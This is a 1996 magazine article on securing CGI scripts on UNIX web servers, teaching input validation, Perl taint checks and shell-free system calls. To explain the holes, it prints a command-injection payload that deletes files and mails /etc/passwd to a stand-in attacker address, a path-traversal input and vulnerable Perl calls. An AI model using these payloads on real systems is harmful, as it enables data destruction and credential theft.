Cover V05, I11
Article
Sidebar 1

nov96.tar


Creating A Secure CGI Environment

David Endler

Current design trends for enhanced Web pages often require data from the Web server to be manipulated in conjunction with input from the user. To do this, Web authors can choose from a plethora of page enhancement tools, including Common Gateway Interface (CGI), Java, ActiveX, and Javascript. Although Java, Javascript, and ActiveX may be the latest and greatest, CGI programming is still the most convenient way to manipulate data on the Web server itself. Thus, CGI programming remains the popular way to handle simple user input concepts. An unfortunate side effect is that CGI opens various security risks on a UNIX Web server.

The mere phrase "server side execution" should be enough to make any cautious system administrator cringe. Security concerns become especially important if other crucial services such as mail, domain name service, user disk storage, or a company database also reside on the server. Although completely removing CGI capabilites from the Web server might appear to be an option, design objectives make this unrealistic. To secure your Web site, you must first establish a secure foundation CGI environment. Next, you must find and repair security gaps in CGI scripts that are added over time. In this article, I highlight some common Perl CGI scripting errors and provide tips on how to avoid the associated security problems.

Where to Start

The first step toward a secure foundation CGI environment is establishing a policy regarding ownership of Web server processes. Many CGI-related security problems capitalize on the rights of the user id (UID) and group id (GID) of the Web server process. Thus, Web server processes should never be run as root. Running the Web server with the nobody, nogroup combination is reasonable in that it gives the CGI programs minimal privileges. A better alternative is to run Web server processes as a specified UID and GID, such as "www." This prevents the Web server from meddling with other services and programs that run as "nobody." Look in httpd.conf on Apache and NCSA to configure the UID and GID.

Most Web servers offer several options regarding the setup of your CGI directory structure. You can allow CGI scripts with the extension .cgi or .pl, for example, to be located anywhere below the Web server root. This is a menacing setup, however, as it makes monitoring and maintaining the scripts very difficult. It is recommended for extra security, to allow the server to see only file systems under its "Server Root" - read about chroot for more details in the NCSA docs.

On most large Web servers, CGI scripts will be written by different people with various skill levels. It is not uncommon even for experienced UNIX programmers to fall prey to a security hole specifically open to a Hypertext Text Transfer Protocol (HTTP) attack. To ease administration and minimize potential security risks, you should define only one active CGI executable directory (named cgi-bin on most UNIX Web servers) and grant write access only to the most competent and conscientious of CGI programmers. Even with such restricted access, you must be vigilant in identifying vulnerabilities in your scripts. Creating a separate, nonpublic CGI development partition may also be helpful in minimizing security problems.

The execution environment for CGI also provides various other configurable options. Be very selective in defining the options for your CGI directory. For example, with NSCA httpd and Apache Web servers, it is a good idea to disable Includes (see the sidebar "Server Side Includes"). You should not give random users viewing access to the contents of your CGI directory with the Indexing option enabled in the global access file, access.conf. The more system information you can keep private, the less likely an intruder will be able to exploit obvious or even subtle vulnerabilities.

Practice Safe Scripting

If your Web server is running as UID nobody, you're safe from outside attacks, right? Wrong! Depending on the security profile of your server, there may be proprietary information within easy grasp of an intruder exploiting a vulnerability in one of your CGI scripts. So, what exactly can an attacker do with your Web server running as nobody, or a unique UID/GID for that matter?

Taking advantage of unsecured CGI, an intruder can:

  • Mail password (non-shadowed) information to himself;

  • Obtain other system information stored in /etc;

  • Start a server on a high port in a few lines of Perl and telnet into your system (see page 225 in Learning Perl);

  • Delete important system logs and configuration files; and

  • Initiate denial of service attacks including exhaustive filesystem searches, or other resource consuming commands.

    Many of the do's and don'ts of CGI scripting are already well documented, so the examples included here will be brief and illustrated in the most popular CGI language, Perl.

    The Hidden Field Faux Pas

    Imagine that the user named Miss Steak has the following form on the Web:

    <html><body>
    <h1>Form Response for Jane Steak</h1>
    <form action = "http://www.beef.com/CGI-bin/doit.pl" method="get">
    <input type="hidden" name="myaddress" value="steak@beef.com">
    <input type = "text" name=input>
    (input type = "submit" value="Send comment">
    </form>
    </body></html>

    This is a simple form that asks the user to input a message, which is sent to a script called doit.pl. Included in the script doit.pl is the following line (assume that the variables have already been parsed out of the input stream):

    system("/usr/lib/sendmail -t $myaddress < $tempfile")

    with the form's message written to a temp file mailed to Jane Steak. A few days after the system administrator installs this script in the cgi-bin directory, she finds that hackers have broken into the system and compromised valuable files, all thanks to Jane's script. How? Imagine that the hacker has set up a Web page on his end like this:

    <HTML><body>
    <h1>Hacking beef.com!</h1>
    <form action = "http://www.beef.com/CGI-bin/doit.pl" method = "get">
    <input type="hidden" name="myaddress"
    value="; rm * ;mail -s Haha hacker@bacon.com < /etc/passwd;">
    <input type = "text" name=input>
    (input type = "submit" value="Hack Away!">
    </form>

    The semicolons in the hidden value field act as delimiters, which separate UNIX commands, enabling several to be executed on the same line in a shell. The system call in Perl spawns a UNIX shell, and in this case, executes the commands in the value field, removing the current files in the directory and mailing the password file to the hacker.

    The first lesson here is that user input to a CGI script can never be trusted. The second lesson is to avoid using system calls promiscuously in Perl, or any language for that matter.

    Other System Call Holes

    Any CGI system call is inherently dangerous if not coded correctly. Consider the following line of Perl code (Remember, Perl backticks follow shell conventions - that is, a unix subshell is spawned with the quoted string as the command line, and the output of that command becomes the argument for the Perl command.):

    print `/usr/local/bin/finger $userinput`;

    This could be taken advantage of using the same malicious user input as before. In general, none of the following metacharacters belong in user input:

    ; > < & * ` | $ #

    A sample Perl code snippet to check for these characters could be:

    if ($userinput =~ /[;<>*`|&$#]/) {          #match any characters
    print "<h1>CGI ERROR: What are you doing!</h1>";}
    #print an error
    else  {
    print `/usr/local/bin/finger $userinput`
    #proceed normally
    }

    For an email address form entry, you could designate a safe domain-style email format in Perl (note the example doesn't take into consideration uucp addresses):

    unless ($userinput =~ /^[\w@\.\-]+$/) {
    #if does not match email format
    print "<h1>CGI ERROR: Enter a valid EMAIL address</h1>";}
    #print an eroor
    else  {
    print `/usr/local/bin/finger $userinput`  #proceed normally
    }

    In Perl, you can also perform system calls with the backticks used above, or with the eval statement. Consider the following alternatives to those system calls. For email purposes, use:

    open (MAIL, "| /usr/lib/sendmail -t -n");
    print MAIL << END_OF_MESSAGE
    From: $from_input
    To: $to_input
    Subject: $subject_input
    
    $message_input
    END_OF_MESSAGE

    This example opens a piped process to sendmail, thereby avoiding the dangers of user input with the system call.

    Under system and exec commands, there is an option that enables you to call external programs directly rather than calling a shell. Listing your arguments in the following manner prevents the UNIX shell from being spawned, which prevents metacharacters from having unwanted side effects, and neutralizes any shell vulnerabilities:

    system "/usr/bin/finger",$userinput
    exec "/bin/ping",$ping_argument,$ping_host

    Here is another example of a piped process that prevents shell vulnerablities. The general form is:

    open(Filehandle_name, '|-') || exec "program", $arg1, $arg2;

    By using the mystical code sequence |-, you can fork a copy of Perl and open a pipe to that copy, which will execute the program designated by exec. Notice the program list in the same format mentioned above. Here's an example:

    open(FIND,"-|") || exec "/usr/bin/find","/","name",$name,"-
    print";
    while (<FIND>) {
    print "found: $_";
    }
    close FIND;

    This script searches the system for an input variable $name and prints all occurrences of it. It successfully avoids spawning a UNIX shell, thereby improving performance and tightening security. For more detailed Perl alternatives to system calls, read the WWW security FAQ section on safe scripting.

    Opening Files

    Imagine you are writing a program that stores a message based on the username of the user entering it. You add the following line of code to your script:

    open(FILE,">/usr/local/message/data/$username");

    What if the user typed in ../../../../etc/passwd as his username? You could have a serious problem. Always check for the .. when opening any type of file handle.

    Taint Checks: A Useful Tool

    Perl has a very practical option for handling unsafe user variables. Consider that most of the vulnerabilities in CGI result from user input passed to your script. Imagine also that every outside variable passed to your program is tainted and that the taint can spread to other parts of the system like a contagious disease. Perl taint checks prevent any tainted variables from being used with the system, eval, exec, and backtick commands, or any other type of action that affects the outside system environment. Perl will exit the script with an error message if it detects such an attempt.

    To invoke taint checking in Perl 4, the first line of your script should read:

    #!/usr/local/bin/taintperl

    This will load a special version of the interpreter. In Perl 5, you can invoke taint checks with the -T option. Example:

    #!/usr/local/bin/perl -T

    (If you're not sure which version of Perl you have, type perl -v.)

    Once the user has passed his or her email address into your script, you should untaint that variable. A variable can only become untainted once pattern matching is performed on it. Only after you have extracted the intended string from your variable, can you now use it normally. For example, to untaint an email address (example taken from the WWW security FAQ):

    $mail_address=~/([\w-.]+\@[\w-.]+)/;
    $untainted_address = $1;

    You must include one more thing when performing taint checks. Because the Perl interpreter does not take the environment path for granted, you must define it, even if your program does not interact with a shell. Be sure to include the following line in your code or you will get an error complaining about insecure paths:

    $ENV{'PATH'} = '/usr/bin:/usr/local/bin:/bin';

    A favorite hacker's trick is to subvert your environment variables to point to a Trojan horse in another directory. Thus, you should always specify the full path of commands when using the system call:

    system("finger $untainted_user");   #This is bad. Avoid.
    
    system("/usr/local/bin/finger $untainted_user");   #This is better.

    The Dreaded Autobackup

    Be careful when editing your CGI scripts in the actual cgi-bin directory. Some editors, such as emacs, create a backup file with an extension of ~ if you edit the original. If a potential intruder somehow guesses the file password.pl is backed up as password.pl~, he will be able to view the actual code of the backup program since the server does not recognize the extension .pl~. Upon viewing the backup file as plain text, the intruder could possibly exploit the original CGI program by scanning the code for vulnerabilities. Be on the lookout for any suspicious types of extensions in your cgi-bin directory.

    Some Other Odds and Ends

    In terms of what to include in your scripts and cgi-bin directory, you should try not to give out too much information about your server. For example, the finger command is a convenient perk, but it can divulge important things, such as home directories or mail forwarding paths, to a possible snooper. In terms of the binaries and scripts contained in your cgi-bin directory, you should scrutinize these files at regular intervals.

    Don't place any valuable information in the cgi-bin directory. If your cgi-bin contains the query binary, it can be used quite insidiously by a browser to search for specific files (like /etc/passwd). query ships with most versions of NSCA and Apache, so a little housekeeping may be necessary. Commands such as query and finger may be nice bells and whistles for your system, but in the long run, you will be much happier with those types of executables disabled. Also, never be tricked into putting a copy of perl (or any interpreter for that matter) in your cgi-bin directory. This fatal error allows any arbitrary commands to be run by anyone with a browser and malicious intent.

    You should also avoid enabling your scripts to run as another user. A program called cgiwrap (http://www.umr.edu/~cgiwrap by Nathan Neulinger) allows this practice, but increases the security risks in CGI. Enabling a script to run as a user other than the Web server's UID allows write access to that user's home directory and puts their files at great peril. rm -rf * is only a few keystrokes away!

    You should check the contents of the cgi-bin directory periodically, especially if priviledged users are constantly editing their scripts. A quick scan of their code could save you grief in the long run.

    Suggestions

    Most Web administrators eventually deal with CGI security, but only after the damage from an attack or intrusion has occurred. Today, the general Internet public is more educated about the Web, and CGI vulnerablities are often discussed in mass mailings and newsgroups. Thus, the system administrator must ever be on the lookout for the latest known security holes and common attack methods. To prevent action on these widely known holes, it is obviously important to patch them as quickly as possible.

    As an administrator, you have probably seen the sort of scripting mistakes to be aware of and search for in your server's CGI directory. The installation tips provided here will also help circumvent the type of attacks and loss of private data that CGI allows. CGI can become a constant threat if the proper policies and concrete scripting procedures are not instituted. Coordinate with the Webmaster (and/or other CGI programmers) to discuss the risks involved. Educate the CGI authors, and keep abreast of security news by subscribing to mailing lists such as the one maintained by CERT (http://www.cert.org).

    Web servers act as one of the only external access points for many companies and organizations, making them prime targets on the Internet. The CGI is a double-edged sword that can enable hostile attacks against these systems. By remaining aware of the possible threats of CGI, you can better protect your own Web site from vandalism, destruction, and information theft.

    References

    Gundavaram, Shishir. 1996. CGI Programming on the World Wide Web. Sebastopol, CA: O'Reilly.

    Schwartz, Randal. 1993. Learning Perl. Sebastopol, CA: O'Reilly.

    Schwartz, Randal. 1991. Programming Perl. Sebastopol, CA: O'Reilly.

    Schwartz, Randal (with Larry Wall). 1996. Perl 5. Sebastopol, CA: O'Reilly.

    Perl info: http://perl.com

    CGI Security FAQ maintained by Paul Phillips of cerf.net: http://www.cerf.net/~paulp/CGI-security/safe-cgi.txt

    CERT: http://www.cert.org

    WWW Security FAQ maintained by Lincoln Stein: http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html

    WWW Security Email list: send an email with the body subscribe to: www-security-request@ns2.rutgers.edu

    NCSA documentation: http://hoohoo.ncsa.uiuc.edu/ as well as http://hoohoo.nsca.uiuc.edu/cgi/security.html

    Apache documentation: http://www.apache.org

    About the Author

    David Endler is a junior Computer Science major at Tulane University. He is a system administrator for Tulane's Student WWW Server (http://studentweb.tulane.edu), his local free-net in Florida, (http://www.naples.net), and Datanet Security, an internet security company. He has regularly contributed to Internet Security Review, (http://www.isr.net) an online magazine about security, safety, and protection of datacommunications on the Internet. He can be reached at endler@cs.tulane.edu.


     



  •